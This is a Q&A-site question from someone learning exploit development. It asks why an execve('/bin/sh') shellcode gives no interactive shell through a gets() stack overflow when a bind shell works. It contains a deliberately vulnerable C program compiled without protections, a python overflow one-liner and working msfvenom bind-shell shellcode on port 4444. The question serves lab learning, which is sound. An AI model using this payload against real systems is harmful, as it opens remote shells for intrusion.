title: Exploit Development - GETS and Shellcode
body: <p>Trying to learn more about exploit dev and building shellcodes, but ran into an issue I don't understand the reason behind.</p>
  
  <p>Why am I not able to run a shellcode such as execve("/bin/sh") and spawn a shell I can interact with?
  While on the other hand, I'm able to create a reverse / bind_tcp shell and connect to it with netcat.</p>
  
  <p>Sample program:</p>
  
  <pre><code>// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
  
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  
  void test() {
      char pass[50];
      printf("Password: ");
      gets(pass);
      if (strcmp(pass, "epicpassw0rd") == 0) {
          printf("Woho, you got it!\n");
      }
  }
  
  int main() {
      test();
      __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
      return(0);
  }
  </code></pre>
  
  <p>Sample Exploit:</p>
  
  <pre><code>python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
  </code></pre>
  
  <p>Sample Payload (working):</p>
  
  <pre><code>msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
  \x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
  </code></pre>
  
  <p>Tested multiple different execve("/bin/sh") samples, as well as creating my own, then compiled them to verify they work before using it as payload.</p>
  
  <p>Such as: <a href="https://www.exploit-db.com/exploits/42428/" rel="noreferrer">https://www.exploit-db.com/exploits/42428/</a></p>